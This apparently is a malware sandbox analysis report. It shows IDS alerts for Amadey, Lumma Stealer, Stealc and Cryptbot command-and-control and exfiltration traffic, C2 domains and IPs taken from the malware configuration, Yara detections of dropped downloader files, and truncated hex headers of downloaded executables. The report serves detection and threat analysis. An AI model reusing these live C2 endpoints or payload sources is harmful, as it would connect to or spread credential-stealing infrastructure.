Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49898 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49955 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49966 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49973 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50013 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50009 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50026 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50036 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50037 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50047 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50056 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:61986 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50063 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50074 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50071 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50083 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50085 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50087 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50092 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50103 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50110 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.4:50105
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50105 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50118 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50197 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50187 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50291 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50279
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50148 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50282 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:58436 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:50313 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50322 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50324 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:60613 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50325 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50310
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50326 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50330 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50328 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50332 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50333 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50334 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50335 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50319
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50327 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:56753 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50360 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50374 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50369 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50371 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50321 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50375 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50331 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50368 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:49293 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50379 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50354 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50382 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50383 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50385 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50386 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50387 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50390 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50392 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50391 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50394 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:50381 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50399 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50442 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50436 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49764 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49764 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49824 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49820 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49820 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49877 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49877 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49897 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49897 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49778 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49778 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49940 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50026 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50026 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50037 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50036 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50036 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49945 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49945 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50083 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50083 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50328 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50092 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50375 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50375 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50368 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50368 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50394 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50385 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50392 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50321 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50321 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50369 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50382 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49859 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49859 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50354 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50324 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50324 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50330 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50330 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50332 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50332 -> 172.67.179.109:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: lossekniyyt.click
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 6.0.c7af53ccad.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:08:09 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:08:19 GMTContent-Type: application/octet-streamContent-Length: 4441600Last-Modified: Wed, 18 Dec 2024 15:19:38 GMTConnection: keep-aliveETag: "6762e80a-43c600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 00 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 b5 00 00 04 00 00 c6 0a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 e8 b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 e8 b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 73 6f 71 62 76 66 76 00 50 1b 00 00 a0 99 00 00 4c 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 7a 6b 63 75 64 76 6b 00 10 00 00 00 f0 b4 00 00 04 00 00 00 a0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 b5 00 00 22 00 00 00 a4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 